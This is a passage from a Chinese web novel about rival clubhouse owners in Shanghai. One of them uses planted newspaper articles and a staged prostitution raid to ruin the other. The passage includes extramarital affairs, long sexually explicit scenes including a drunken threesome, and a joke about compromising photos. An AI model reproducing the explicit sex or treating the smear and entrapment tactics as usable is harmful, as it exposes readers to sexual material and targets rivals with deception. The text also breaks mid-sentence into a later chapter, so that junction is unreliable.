“这个可能性有,不过现在不是时候。等他碰一鼻子灰了,我们再和他沟通。”

“不过到那时候双方的损失就都造成了。临村会馆虽不致于要命,但也会伤元气的。”

“是啊,但也只能这样。有些人就是不见棺材不掉泪,不让他造成一定损失他还牛气冲天呢,没法沟通。即便勉强和他沟通了,他也会提高谈判价码的。”

“这样看,我们就只有采取针锋相对的措施了。”

“对。不过穷寇莫追,到那个时候,我们可以合作,把编号为002的临村会馆牌子挂上去。”

志刚看一眼贵玲,说:“你和贵玲想到一块去了。你就这么有信心?”

“走着瞧吧。”

在相距10里不到的东邻会馆里,周志民此时也在喝酒,和报社副总编李世勋、记者祝丽,一位政府官员,一位银行副行长,还有几位企业家。

周志民做事有一股子韧劲,不达目的誓不罢休。刚到上海时,因为不会讲上海话,处处受到歧视,找工作都不容易,他便下狠心学上海话。每天早晨到公园里溜哒,留心听晨练的老头老太讲上海话,回到住处就闭门苦练。一个月不到,周志民就能讲一口纯正的上海话了,连上海人都听不出来。

有一次他骑摩托车超速,被警察拦下来了,同时拦下的还有一个人,他张口就是上海话:“啥哩事体?”

警察一听他是上海人,便对他挥挥手,叫他走,叫另一个人把驾照拿出来。他肚子里狂笑着一踩油门就绝尘而去。

就是凭着这股子韧劲和狠劲,周志民从一个小小的泥瓦匠,干到班长、工长,然后承包工程当老板。在做建筑工程中,认识了钢材供应商、福建女老板蔡明英。蔡明英三十多岁,已经离婚三年,风情万种,很快就和周志民成为情人。周志民给从农村带来的老婆一笔钱离婚了,和蔡明英结婚,两人便一起做钢材生意。

做会馆是他老婆蔡明英的主意。福建人在上海做钢材生意的人特别多,办会馆的也多,当然,这些会馆多数不对外营业,不是为了赚钱,但蔡明英知道,多数会馆都是赚钱的。因而,当那块堆货的土地空出来时,她就想做一个会馆,首先是提高身份,有面子,毕竟有一个自己会馆的老板不多;其次是当一项业务来做,现在经营不好的会馆很多,对拥有者来说是负担,如果兼并一些会馆,改造成自己的连锁会馆,前景将不可限量。

周志民支持老婆的想法,他佩服老婆的脑子,觉得她天生是做生意的料。会馆还在装修时,他就和老婆商量,要想把东邻会馆做到全市连锁,最大的障碍就是邻村会馆。本来,一个邻村会馆并没有什么了不起,问题是它的经营者非常有创意,妙招迭出,估计很快就会到处布局搞连锁。必须把它消灭在萌芽中,东邻会馆才有未来。最关键是要让邻村会馆的经营者失去这个会馆,离开这个领域,到别的地方去施展他们的创意才能。

第一步就是利用媒体把邻村会馆名声搞坏,让它没法经营,到时候再去洽谈收购事宜。

今天吃饭的几位,都是周志明这盘棋上的重要棋子。几位老板是合作者,准备一起投资搞东邻连锁会馆;报社副主编的作用不言而喻,是利用舆论工具来与竞争对手周旋;银行则要在东邻会馆快速扩张时提供强大的资金支持。

周志民的酒已经多了,还劝李世勋喝酒。李世勋虽是上海人,却很能喝酒。说起来也奇怪,上海人虽然喝白酒的不多,但只要喝的人就非常能喝。此刻李世勋酒也多了。一桌人只有祝丽还有点清醒。


第137章 同唱一首歌

祝丽就是最近见报的那两篇文章的炮制者,当然是在李世勋的授意下写的,李世勋安排见的报。

祝丽在三年前刚进报社不久,就成了李世勋的情人。李世勋是她的顶头上司,经验丰富、年轻有为,颇受当时总编的器重,无疑是前途无量的。祝丽崇拜李世勋,也爱上了他,所以当李世勋稍微对她有所表示,她便投怀送抱了。李世勋的妻子沈琼也是同一报社的记者,但和祝丽不在一个部门。祝丽希望李世勋能离婚,但从他和沈琼的关系上看不出这种迹象,李世勋也从来没有对祝丽作过任何承诺。

见一桌人都喝得差不多了,祝丽要扶李世勋回去,周志民拦住了:“不要走,我们还要去唱歌。”

“都喝成这样了,还唱什么歌?”

“就是都喝多了,才要唱歌醒酒。”

“到哪里去唱?你这会馆里不就能唱吗?”

“那不一样。KTV里有小姐,这里没有。”

他们就近到大志开的梦潮KTV里,要了一个大包房。周志民一挥手:“快,叫小姐。”

十几个小姐进来站成一排,周志民给每个人挑了一个,李世勋也有。祝丽说:“李总就不要小姐了。”

周志民不答应:“不行,一个都不能少。你要是不愿意,你就先走。”

志刚他们也来唱歌了,就在隔壁房间。沈琼听隔壁有一个人唱歌很熟悉,像是她老公,便出去叫一个服务员往里面送开水,趁开门的一瞬间就看清楚了,果然是老公李世勋站在中间,左手抱着祝丽,右手抱一个小姐,边唱边扭,祝丽给他拿话筒,正唱他最擅长的《在那桃花盛开的地方》他唱歌很好听,虽然瘦,却中气十足,声音高亢嘹亮,当初谈恋爱时沈琼就对他的歌声着迷。

回到包厢,沈琼对着志刚的耳朵说:“我老公在隔壁唱歌,估计是和周志民在一起的。”

“哦?”

志刚来了兴趣,“我过去看看。”

志刚推开隔壁包厢门进去,果然是周志民在里面。他和周志民在强辉那里见过两三面。周志民把李世勋和副行长介绍给志刚,志刚对李世勋说:“你是沈琼记者的先生,对吧?”

这时,沈琼和曲贝贝也进来了。周志民强烈要求志刚点首歌,志刚说:“好吧。我点两首歌咱们一起来唱。第一首是《让我们荡起双浆》第二首是《同一首歌》”

两首歌唱完,志刚带两位女记者回去了。周志民见志刚如此大气而自如地过来寒喧,心里有点打鼓,不知他葫芦里卖什么药,后面歌都没有好好唱。最后结束时,走出包厢,他问李世勋:“这个冯志刚是什么意思?”

李世勋说:“他是向你示好。他想告诉你,竞争他是不怕的,但他不愿意和你搞得两败俱伤,还是寻求一条共赢的路吧。”

“真的吗?”

“我是这样解读的。也许你还有不同的理解。”

“商场如战场。我和他怎么共赢?”

李世勋回到家时,沈琼已经到家了。沈琼本来说今天在临村会馆与女性沙龙成员聚会,不回来睡觉。李世勋问:“你怎么回来了?”

“还不是为两家会馆的事。你真的帮周志民与冯志刚作对?”

“是冯志刚叫你回来找我的吧?你可以告诉他,我谁都不帮,只是做我份内工作。”

“可是你事实上是帮了周志民。”

“你不也事实上在帮助冯志刚吗。”

话不投机,上来两人就分别站到两个阵营。沈琼知道没法再谈下去。李世勋说得不错,她站在志刚这一边,这是毫无疑问的。她原本打算今晚不回来,去见她的民工情人,可在KTV见到了丈夫,她心里有点发虚,觉得还是回来好,正好和丈夫谈谈会馆的事。如果谈得融洽,也可以和丈夫做爱,虽然没有与彭孝胜做爱刺激,但毕竟也是快乐的。

可是,谈得不愉快,她的欲望也没有了。


第138章 游览杭州(1)

“五一”节快到了,井儿说春儿想到杭州去玩,问志刚能不能开车带她们一起去,志刚一口答应。

这一段时间冷落了井儿,志刚心里很明白,再说他和井儿都忙得身心俱疲,趁五一节好好放松一下很有必要。

他们下午出发,开两个小时车就到杭州了。志刚问:“春儿,晚上想吃什么?”

春儿和井儿坐在后排,一路上都在打打闹闹,志刚专心开车,不知道她们说些什么。这会儿到杭州了,她们才安静下来。春儿听志刚问,便说:“杭州小吃有名,我要吃。”

志刚来过杭州,说:“杭州有美食一条街,什么小吃都有,我带你们去吃。”

志刚远远把车停在停车场里,他们步行走一会才到小吃一条街。春儿先买了一包臭豆腐,拿牙签挑着边吃边走边看,看得眼花缭乱,却又拿不定主意到哪家吃晚饭,只觉得家家都好,又怕后面还有更好的。

看到有卖吴山酥油饼和猫耳朵的,春儿叫井儿给买了拿好,说等一会腾出空来吃。志刚说:“我看你今天是腾不出空来吃它们了。等一会还有更好的。”

果然,一会儿,志刚的手上就拎满了小吃,什么小鸡酥、榴莲酥、雀巢鸟窝 、南宋定胜糕、木瓜酥、奶黄雪梨果、金牌胡萝卜、核桃冻。

井儿直骂春儿:“小祖宗,你长了多大的肚子,不吃晚饭也吃不下这些小吃了。”

春儿笑道:“吃不下我带回去给同学吃。”

志刚说:“看来我们要集体决策了。我建议再走十步,在右手的那家店吃晚饭,如果右手没有就在左手那家吃,同意的举手。”

志刚和井儿举手了。春儿无奈,拿纸巾擦着嘴上的油说:“好吧。你们就欺负我。”

井儿骂她道:“看你个子这么高,都上大学了,还像小孩子一样任性,让人看着笑话。”

志刚18岁出来打工,打交道的无论男女都年长于他,本来也不觉得有什么问题,可今天和春儿出来,才感觉自己也是年轻人,原来自己的心态好像从来没有年轻过。还是年轻好。他想,如果也上大学,和同学们利用假期出去旅游该多美好。

可惜还没有年轻过,怎么就只剩青春的尾巴了。

看着菜单,井儿点了一个西湖醋鱼、春儿点了一个东坡肉,轮到志刚,他点了糟烩鞭笋。志刚问春儿:“知道这几道菜的来历吗?”

春儿摇摇头:“不知道。”

“就和你家的酱香老酒一样,大凡有名的吃食,都是有文化传承的。”

“也有好听的故事吗?”

“当然有。”

“姐夫,那你先说西湖醋鱼。”

“西湖醋鱼的来源,相传出自‘叔嫂传珍’的故事。说的是古时西湖边住有宋氏兄弟,以打鱼为生,当地恶棍欲占其嫂,杀害其兄,宋嫂劝小叔外逃,制糖醋鱼为他饯行。后来小叔得了功名,除暴安良,偶然的一次宴会,又尝到这一酸甜味的鱼菜,叔嫂终于团聚,后人传其事、仿其法烹制的醋鱼,就成为杭州的传统名菜。”

正好西湖醋鱼端上桌了,春儿先尝一口,悠然神往地说:“呀,还有这么美的一个传说。那东坡肉呢,难道苏东坡也会烧菜?”

“对。宋代大文学家苏东坡,不仅才学出众,对烹饪也有研究。他在谪居湖北黄冈时,时常亲自烧菜,与众人品味。曾作诗介绍他烹肉的经验:‘黄州好猪肉,价贱如粪土。富者不肯吃,贫者不解煮。慢着火、少着水、火候足时它自美’。后来苏东坡出任杭州刺史,发动数万民工疏浚西湖,筑堤灌田、造福人民。节日将百姓送来的猪肉、绍酒,吩咐家人烧好连酒一起送给民工。家人误以为酒肉一起烧,结果烧出的肉,特别香醇味美,别致可口。从此以后,‘东坡肉’就成为杭州传统名菜。”

听完故事,东坡肉还没有上桌,春儿摧促服务员:“东坡肉怎么还没有好?”

服务员是个女孩子,解释道:“东坡肉烹制时间长,虽然我们这里是事先烹制好的,但要在蒸笼里加热,所以时间长一点。请你耐心再等一小会就好了。”

春儿扭头又问志刚:“肉吃不到,你就再说鞭笋的故事吧。”

“糟烩鞭笋的故事也和苏东坡有关。传说杭州孤山的广元寺附近有一片竹林,寺内和尚很爱吃笋,却又不善于烹调,只会烧烧煮煮。苏东坡出任杭州刺史时,与寺里和尚有所交往,便把自己的‘食笋经’传授给他们。用嫩鞭笋加上香糟,经过煸、炒、烩等而制作成的这道菜,香味浓郁,十分入味,富有特色。糟烩鞭笋经历代相传,成为杭州有名的传统素菜。”


第139章 游览杭州(2)

春儿听完,半晌才回来神来,说:“只有像苏东坡这样的大文人,才能享受到美味的极致境界。可见做什么都要有文化,才能做出境界。”

“有悟性。”

志刚对春儿一竖拇指,春儿脸红了一下。

“姐夫,你怎么知道这么多?”

“读书啊。读好书才能把生意做得更好,这是我们徽商的传统。读书是一辈子的事,或者说应该成为生活习惯。你在大学所掌握的知识,毕业三四年,就全都会过时的,所以从毕业那一刻开始,就要更新知识了。”

吃过饭,他们准备住下来,没想到问几家宾馆都满了。他们开车兜了很远,在比较偏的地方找到一家小宾馆,说有房间,但只剩一间标准房了。

志刚说:“只能你俩委屈一下,挤一张床了。”

春儿说:“我不要挤,你和我姐睡一张床。”

井儿脸红了,扭住春儿耳朵说:“死春儿,我把你耳朵拧下来。”

本来想住下来后,去逛逛西湖夜景,可住得这么远,只好第二天白天去了。

从杭州回来,志刚觉得神清气爽。多少年没有这样放松了,哪怕只是两天时间。平时喝酒唱歌,也说是放松,其实那使人更紧张。

节后一上班,贵玲就又拿来一张报纸,还是那家都市报,这次刊登的是评论员文章:《会馆应该怎样健康经营》虽说没点邻村会馆的名,却总是有意无意地使人联想到邻村会馆,因为它说的事例都只有临村会馆才做,比如论坛、沙龙、笔会等。

志刚把报纸往沙发上一扔,对贵玲说:“不管它。以不变应万变,看他能翻出什么浪花来。”

贵玲有些担心:“如果我们不采取措施,恐怕会越来越被动的。”

“不会。如果我们站出来,就上当了。你想想,我们如果也在报上回应,岂不是不打自招,承认人家说的是我们了?再说,我们如果要回击,回击谁?你出拳却打不到人,对手是躲在后面的。”

“那怎么办?就这样等死?”

“放心,我们不会等死的,而是在等时机。”

贵玲这段时间觉都睡不好。会馆是在她手里火起来的,却也有可能在她手里毁掉。节日期间她没有休息,天天都到办公室来。其实也没有事,她只是在办公室里转圈圈,脑子里一片空白,或者到会馆里转转,与熟悉的客人随便聊聊。现在会馆的人气远远不如以前了。

志刚看贵玲都憔悴了,有些心痛,拉她坐到身边,搂着她说:“好好休息,不要着急。相信我和强辉会有办法的。”

靠在志刚怀里,贵玲觉得安心多了。她一直想自己扛,却也知道自己是扛不起来的,这不有志刚、还有强辉呢。女人就是容易钻牛角尖,这会儿出来了,她忽然就放松了,原来事情远没有那么糟糕。

志刚左手从贵玲领口进去抚摸着乳 房,亲吻她的嘴唇,问道:“你有多少天没和男人做爱了?”

“不知道。”

贵玲真的不知道有多少天了,反正自从报纸上出现那类文章以后,她就没想过男人。

“这怎么行呢?你的胸都小了一圈。让我来给你修复修复吧。”

贵玲笑着说:“这里可不行。这边是三嫂办公室,那边是井儿办公室。说不定她俩谁就进来了。”

“进来怕啥?进来就一起做,我以一敌二。”

“哼!美的你。”

志刚把手收了回来。说归说,他还是不愿意在办公室里,尤其是在办公时间做这事的。只有一次和曲贝贝,还给三嫂进来看到了,不过那次他很被动,几乎就是曲贝贝*他。

志刚不提做爱则罢,一提贵玲的身体就有反应了:“志刚,你开车我们出去吧。”

志刚心领神会,和贵玲下楼了。

志刚和贵玲有好几个月没做爱了。对人生第一个女人,他总像对初恋一样珍惜和回味。他一发动起车子,贵玲的手就抓住了他下面,像抓住档位一样,弄得他车都开不好。

在行驶的车中,贵玲把自己下身脱 光了,只留着上身一件衬衫装门面。志刚把车还没有停稳,贵玲就开始脱他的衣服。志刚迅速进入她早早就敞开迎候着的洞穴。

贵玲现在喜欢和志刚车震。她已经能把握好车身的摇晃和两人动作的协调了,在车从下面往上弹的一刹那,她让志刚正好往下使劲坠落,两种相对的力道把她挤在中间,使她觉得自己被压扁、被撕成碎片才痛快。然后她拼命喊叫,让周围空旷的田野都充溢着她无边的美妙的情欲……


第140章 盘点女人

平静下来后,志刚问身下的贵玲:“现在还紧张焦虑吗?”

贵玲摇摇头:“不了。”

“还觉得报纸刊登文章是大事吗?”

“好像没那么重要了。”

“就是嘛。和我做爱就是你最重要的事。”

贵玲照志刚胸脯打了一掌:“你混蛋,这么多天都不想我。恐怕你的女人轮一圈过来得几个月吧?”

“没有。一周以内肯定轮一圈。”

“那么少?我不信。可就算一周轮一圈,你都轮多少圈了才想到我?”

“不是。我这么多天和你一样,为会馆的事烦着呢。真的。”

“志刚,”

贵玲用右手食指在志刚左胸上划着圈,问:“在你的女人中,除了井儿,你最喜欢谁?”

志刚想了想:“我第一个想说是你,不过……”

“不过什么?”

贵玲一双带些狐媚的眼睛盯着志刚,“快说。”

“我把有限的几个和我有肌肤之亲的女人想了一圈,最后觉得最喜欢的的还是你。”

贵玲照志刚胸脯又打一掌:“骗人。”

“不骗你。要我发誓吗?”

“不要你发誓,只要你把她们一个个地说给我听,对她们是怎么评价的。”

“好。不过我们要换一下,让我到下面去,要不你就被我压扁了。”

贵玲吃吃地笑了,让志刚到下面,侧身伏在志刚身上:“说吧。”

“真说呀?”

“你还不想说?我可想知道。”

“我怕说了你生气。”

“还有多少我不知道的重量级人物?或者是还有你最喜欢的人不想让我知道?那就是说你刚才说最喜欢我是假的。”

“不是,是真的。”

“那你还不说。”

贵玲板起面孔佯嗔薄怒地说。

志刚看她可爱,禁不住吻一下她还带怒气的脸:“好吧。那我就说了。”

志刚从来没有把几个女人放一起对比过,要叫他马上就说出来,还真不容易。他脑子里飞快地闪着她们的形象,一边作着比较。

“先说三嫂吧。她是最满足我欲望的女人。我刚到上海时,血气方刚,又是刚刚被你诱骗失身,特别想要女人。”

说到这里,志刚吻一下贵玲,贵玲又给他一巴掌,“那时候只有三嫂一个女人有可能让我睡,别无选择,我就找她睡了。她是个善良的女人,我也可以说喜欢她,就想睡她,现在我还把她当作自己的一个亲人。我和她睡得最多,那大半年时间几乎天天和她做爱。你知道十*岁的男人是性欲最强的。”

贵玲狠狠地拧一下志刚的胳膊,志刚哎哟一声,胳膊上已经青了一片。

“哼!你怎么不天天和我睡,我那么想你,你却让兰花那么幸福。”

“唉!”

志刚叹一口气,“女人不讲理的时候真让人无法说话。我何偿不想再睡我的第一个女人呢?我经常想,哪怕是给我再睡一次也好。可是你在老家,不知道和哪个男人快活呢。”

贵玲作势要再拧志刚,吓得志刚赶紧住嘴。

“说呀!”

“我不说了,一说你就拧我。”

“好,我不拧了。”

贵玲在志刚胳膊上青紫的地方吹吹气,以示安慰。

“至于两个小女子,小翠和红艳,只能说是过客,偶尔为之,就不说了。还有一个是玉琴,你也知道她很少和同一个人做爱多次,我是她的一个过客,所以她也是我的一个过客,不过是我最重要的过客。她对我帮助很大,当然这和性无关。”

“还有呢?”

“还有吴姐。她在床上的魅力和经验无人能比,我和她做爱就是充分享受她,感情有,但是谈不上有多深。”

志刚又看一眼贵玲,说:“我声明一下,我愿意和她做爱的女人,都有我喜欢的地方,不喜欢我就不会和她做爱。只是喜欢的程度不同或者说重点不同。我和吴姐双方都明白,在一起就是享受性爱,没有别的。她有一个很小的圈子,三四对夫妻,经常玩换妻游戏,都是大学教授、作家等知识分子,我和吴姐参加了几次。我和那几个女人之间,和与吴姐之间是一样的,就是充分享受。如果说爱,她们都爱丈夫,可是愿意和丈夫一起来换妻,目的就只能是享受性快乐。”

贵玲说:“那你带我去参加一次。”

“你看,想要别的男人了吧?不过他们要求很严,必须是真夫妻或者长期性伴侣,我是跟着吴姐去的,以后要去只能和吴姐去,不能带别人去。”

“瞧你。我只是说着玩的。还有谁?”

“没有了。哦,还有一个曲贝贝,第一次和她在办公室里做,被三嫂看见了,是她硬拉着我做的。其他就真的没有了。你想想看,是不是我最喜欢的还是你?”

还有一个女人志刚没说,就是张姐。他觉得不能说,再说和张姐只做过一次,或许也就是个过客。


第141章 周志民的新招

贵玲问:“你喜欢我什么呢?”

“这个问题是恋爱中的女人必问的问题,也是最蠢的问题,当然还是最难回答的问题。”

“不管蠢不蠢,反正我想知道。”

“你是一个从骨子里就有点狐媚的女人,要命就要命在恰到好处地有那么一点狐媚。多了就让人畏惧,少了不起作用。我第一次看到你就冲动,想上你,就因为这点狐媚。别的女人都没有。不但没有,想装都装不来。”

不管狐媚的评价是褒还是贬,心仪的男人喜欢,贵玲心里就高兴:“说了半天,你就这几个女人?我以为少说也得几十个呢。”

“这还少了?没有你的男人多吧?”

“胡说。我的男人没有你的女人多。”

“和我说说吧。否则不公平。”

“说可以,不过现在我不想说。”

“为什么?”

“我想要你了。”

贵玲早就把志刚小弟弟盘硬了抓在手里,此刻骑上志刚,让它噗嗤一下便消失在自己身子下面。

此时整个世界都是快乐。

回去的路上,志刚想想也奇怪,自己也认为怎么也有过几十个女人,可真算下来,连红艳和张姐两们只做一次的在内,不过就十个左右。也不少了,只是比想象的少。以他的情况,想睡100个女人也会很快就做到,但是他没有这想法。

他想,可能是自己的要求太高,所睡的都是精彩女人,这些女人除了小翠和红艳,随便哪一个,能睡到也就今生有幸了。这或许就是他当初在发廊不想睡小翠的心理根源。

沈琼在办公室里等他,兰花陪着她坐在沙发上聊天。

“到哪里去了?”

兰花问。

志刚脸红了。兰花知道他是和贵玲一起出去的。

志刚问沈琼:“找我有事吗?”

沈琼的眼泪流了出来:“李世勋要和我离婚了。”

“为什么?”

“表面上是因为他帮东邻会馆、而我帮邻村会馆产生了冲突,但我猜根本原因是他有女人了。”

“你知道他的女人是谁吗?”

“我猜是我们报社的记者祝丽。”

“又是猜的。外边有女人现在也很正常,为什么要离婚呢?”

“祝丽和他不是一天两天了,一直相安无事。不知道为什么现在他要提出离婚。”

“你不愿意离,还是很爱他,对吧?”

“我不想离婚。”

看着沈琼满脸泪水、梨花带雨的可怜相,志刚心里有些好笑,便坐到她身边,说:“我能做什么来帮你呢?你真要是离了,我来娶你,可是你又不想离,我就有心无力了。”

沈琼卟哧一声被他逗笑了,打他一拳,说:“你说话要算数,我真离了你就娶我。”

兰花说:“你要嫁给他,他身边的女人都不会同意的。”

“他有这么厉害?恐怕是你不同意吧?”

“我又不想离婚。他娶谁跟我没关系。”

“就是啊。你守着个独臂老公都不想离婚,我凭什么离婚。”

志刚说:“这好办。我找个男人把祝丽睡了,拍几张照片寄给你老公,不就妥了?”

兰花说:“你找谁去?就你自己去,我给你们拍照。”

“行啊。为了沈记者一辈子的幸福,我就牺牲一次。值了。”

兰花一拍他大腿:“瞧你那好色相,美的你。”

沈琼被逗得彻底开颜了。她拿一张纸巾,仔细地擦干净脸上的泪水,对志刚说:“跟你说正事。周志民可能会直接对临村会馆采取措施了。”

“他能采取什么措施?搞破坏吗?”

“他采取什么措施我不知道,只听见李世勋和他通电话时,也问他要采取什么措施。”

兰花说:“他可能会叫社会上的混混来捣乱,说不定还会砸场子。”

“他要是用这么下三滥的手段,就是自己找死。”

“就是找死,他也要你活不成。”

沈琼说:“这不是无赖吗?”

志刚看着她说:“女人如果真喜欢一个男人,就对他耍无赖,这招保证有效。”

逗得沈琼又笑了。这会她已经恢复了记者的思维速度,回敬道:“你再取笑我,我就对你耍无赖了。”


第142章 有人嫖娼

午饭后,贵玲在办公室里准备下午的沙龙资料.上午和志刚的欢爱,让她身心愉悦、思维敏捷。至少两三个月没有这么好的心情了。

秘书小王敲门进来:“张总。”

“什么事?”

“有一个会员,不知在哪里喝了酒,来早了,要求开一个房间休息。”

“你没有和他说,我们的房间不对外营业?”

“说了,可他酒喝多了,解释不清。”

“他是什么等级的会员?”

“金卡会员。”

“你给他开个标准间吧,免得他闹事。”

邻村会馆只有四个房间,两个套房、两个标准间,只为自己接待用,除非有特殊情况,一般不对外营业。

今天的沙龙主题是健康与保健,请了市第一人民医院主治医师王新春博士来主持。十几位企业家散坐在最大的会客室里,男女各半,纷纷向王博士提出一些疑问。他们平时工作忙,也是对健康不重视,很少去医院,但每个人或多或少都有些身体不适或者疑似不正常现象,这时都向医生提了出来。王博士以医生特有的耐心,逐个给他们解答。

沙龙举行了一半,有几个警察站在了门口。贵玲赶紧迎出去,问道:“请问你们有什么事吗?”

“你是这个会馆负责人吗?”

一个警察问。

“是的。”

“有人举报,说你们这里有卖淫嫖娼现象,我们是过来调查的。”

“不可能。我们这是高档会所,你看沙龙的主题是健康与保健,怎么可能有卖淫嫖娼的呢。”

警察拿出一张纸给贵玲看,是一张搜查令。警察说:“我们要搜查你们的客房。”

“客房?”

平日这个时间客房是空的,但贵玲想到今天有一个客人。

“走,带我们上去看看吧。”

贵玲只好带他们上楼。她刚打开锁,警察一把推开门,只见床上一对光着身子的男女,男的是个大胖子,正在上面有节奏地运动,一身白白的肥肉剧烈地抖动如波浪翻卷,一见有人进来,吓傻了,保持着刚才的姿势不动。一位警察拿起床单扔到他们身上:“把衣服穿上。”

他们躲在被单下面,抖抖索索地把衣服穿上,下了床。警察问那胖子:“你是干什么的?”

胖子镇定下来,说:“我是这个会馆的金牌会员。”

“你在房间里干什么?”

“我……”

警察又问那女子:“你呢,是干什么的?”

“不干什么。我们谈恋爱。”

“谈恋爱?你告诉我,他叫什么名字?”

警察指着胖子说。

那女子回答不上来。警察声音严厉起来:“说!干什么的?”

女了嗫嚅着说:“是发廓里的。”

“是不是卖淫?说!”

“……是。”

“带走。”

警察转身看贵玲一眼,说:“你也和我们一起走,到派出所接受询问。”

贵玲知道坏大事了。正有人找他们碴子呢,偏偏发生这种事。她悄悄对身后的王秘书说:“快去告诉志刚。”

志刚听王秘书说了事情经过,心里就明白了:这是周志民导演的一出戏。那两个男女一定是他派来的,或者是不知情而被他骗来的。

处心积虑啊。志刚心想,这个男人是金卡会员,就是说,他是会馆的老客户。这种客户都是有钱人,或者是老板,不会听周志民摆布的。如果他听周志民的,就一定是周志民事先布下的一颗棋子。

他想,还是静观其变吧,现在做什么都晚了。没想到周志民下手这么狠,那就对他不客气了。

贵玲不在,沙龙结束后,大家知道会馆出了事,也便没有人建议吃饭,都走了。王新春博士也谢绝了王秘书的挽留,没吃饭就走了。

志刚和兰花等到7点,贵玲才回来。她见到志刚,也不管兰花在旁边,扑到志刚身上就哭了。

“都怪我。”

她边哭边说,把志刚衬衫的肩膀都弄湿了,“我不该让王秘书给那个人开房间。”

志刚拍着她的背,安慰道:“没关系。这不能怪你。周志民要想害我们,他迟早会得手,防不胜防。”

贵玲抬起头,瞪着泪眼问:“是周志民?”

“还能有谁?你想想,有这么巧的事吗?”

“是啊。这也太巧了。”

“我打电话问郑亮了,他说不知道这件事。我想,可能他们知道郑亮和我们的关系,瞒住他了。”

志刚又问贵玲:“警察对我们会馆有什么处理意见?”

“警察说可能要停业整顿。”

“停多少时间?”

“一个月到三个月。”

兰花拿几张纸巾给贵玲擦脸,说:“别哭了。再哭志刚就不喜欢你了。”

她这一开玩笑,把贵玲说乐了,志刚却不好意思了。

兰花见志刚不好意思,来劲了,说:“今晚叫志刚陪你,好好安慰你。”

贵玲一把推开兰花:“去你的。让志刚陪你。”

“真的?那我就不客气了。”

志刚豪气顿生,搂着两个女人说:“走,喝酒去。兵来将挡,水来土掩。既然叫板,老子就接招。”

他们都经历过大风大浪,不是怕事的人。兰花是越遇大事越兴奋,贵玲是面临险境反而更镇定的性格。他们叫一辆出租车,直驶天易大酒店。


第143章 勇猛无畏

象今天这样想放开性子喝酒,志刚他们一般不在自己会馆里喝,当着员工的面不好太张扬,所以就到天易大酒店了。

志刚要一瓶古井贡,一分为三,倒满三个玻璃杯。他端起杯子说:“今天看谁先醉。我们三二一,第一杯三口喝完。”

兰花说:“那还用说,一定是你先醉。”

贵玲也说:“就是。论喝酒你永远是小弟弟。”

兰花说:“本来他就是小弟弟。”

两个女人都比志刚大十岁,但都是他最重要的女人:一个是他的性启蒙者,一个给了他最多的性爱。

第一瓶酒喝完,志刚又开了一瓶,一分为三。第一口喝一半,都剩下半杯。兰花心痛志刚了,把他的酒倒一半给自己。贵玲一见,把志刚剩下的酒全倒进自己的酒杯。

志刚知道不能再喝了,便叫来服务员:“买单。再给我开一个标准间。”

三个人相扶着进了房间。志刚一头倒在床上,兰花拉着他的衣服让他站起来:“不许睡觉,谁睡觉就是认输了。”

志刚说:“好。不睡觉就睡你。给我把衣服脱了。”

“贵玲,我们先把他的衣服脱了。”

两个女人齐心协力,一瞬间就把志刚脱得净光,躺在床上一柱擎天。贵玲问兰花:“谁先上?”

“当然是我先上。你以为上午你俩干的事我不知道?”

“好。我先把你脱.光。”

“不行。我先给你脱。”

两个女人借着酒劲,互相把对方脱.光了。贵玲开始吻志刚的嘴唇,兰花则吻他那丛荆棘边的玉柱。志刚双手攥住贵玲的两团乳房,下面被兰花侍弄得既舒服又臌胀得难受。他一翻身起来,逮住兰花分枪便刺,直入咽候要道。贵玲站起来,把洞穴对谁志刚的嘴,让他的舌尖在浓密的丛林中探寻小道。这里志刚熟悉,上午还进去过两次。贵玲开始双手抚摸自己双乳,扭动着腰肢,闭眼享受。

他们从来没有提过、也从来没有想过这样一起做,今天是机缘凑巧。

兰花翻腾起来,在下面浑身扭动不息,啊啊地叫着,一阵一阵猛烈的颤抖,由轻到重,再逐渐由重到轻,渐趋平静。志刚依然勇猛无畏,坚挺不拔。他不知道今天为什么家伙会如此迟顿,逼不出内容来,可能是上午交了两次公粮,现在仓里空虚了,也可能是喝酒的缘故。他又把贵玲扑倒在床上,勇猛无畏地进入她的领地,今天第三次在她的深处耕耘。贵玲第三次来高潮,尖叫着双后抓到了兰花的奶上,把她抓痛了。

志刚还是坚挺不倒。兰花主动上去接住他,让他再进入自己,问他:“你今天吃什么了,这么厉害?”

这两个女人是与志刚做爱最多的,都没有见他这样厉害过。他们有点害怕了,互相看看,没说话。心里都在想:他不会是有什么毛病了吧?

但这种毛病可是求之不得的,此时不消受,更待何时。兰花也好久没有和志刚做了,第二次高潮也猝然而至。比第一次更猛烈,突然像背过气一样,猛然用双手攥住床单,想用全部生命之力,把那件滚烫的定海神针包紧、融化,可融化不了,它依然坚硬地顶着灼着她的皮肉和生命,要把她顶破、灼化、毁灭,然后再把她的碎片吹到空中漂浮、散落……

三嫂瘫软在床上了。发现志刚依然故我、岿然不动。她真怕了,喘着粗气对贵玲说:“贵玲,今晚把他交给你了。我可没劲了。”

贵玲也喘着说:“我更没劲了。实话告诉你,上午我们就做了两次,两次高潮。这怎么受得了。”

“那怎么办?”

“怎么办,他不射就只有接着来了。”

贵玲便又让志刚进入自己。

足足三个小时,志刚终于在兰花身体里面爆发,也不知道这是今天第几次进入她了。他翻身躺到床上,几乎累得虚脱了,却很快乐地说:“睡了你们这么多年,才知道厉害吧。”

两个女人心服口服:“厉害。太厉害了。但愿你以后不要疲软。”

第二天早上醒来,志刚怀里抱着兰花温软的胴.体,三嫂的两只腿缠绕着他的腿,睡得正香。再看贵玲,也是裸着,侧身睡在另一张床上,双腿夹着枕头,也睡得正香。志刚知道昨夜把她俩折磨惨了,便穿好衣服,悄悄开门出去,再轻轻把门带上,跑走了。

他心想:如果周志民跟踪我们,再叫警察查到,给我们加上个集体*的罪名,可就线章 男科女医师

井儿住两天就走了。志刚送她到机场回来,在办公室门口遇见兰花,兰花问他:“志刚,这两天井儿真没和你在一起过?”

“没有。”

“这小丫头好像没有以前老实了。怎么回事。”

“兰花,这不怪她。人家刚结婚嘛。你刚结婚时也不会和别的男人睡吧?”

“情况不一样。你们的感情那么好,按说她那个小男人才是第三者。”

“算了。我和井儿是没有缘。谁都不怪。”

这时他们已经走进志刚办公室了。兰花悄悄地说:“这两天憋得难受吧?我和贵玲说好了,今晚请你喝酒,好好放松一下。”

晚上兰花和贵玲把志刚灌得似醉非醉,恰到好处,扶他到公寓里。两个女人给他洗好澡,赤 条条地放到床上。贵玲说:“三嫂,我先洗澡,你和志刚玩吧。”

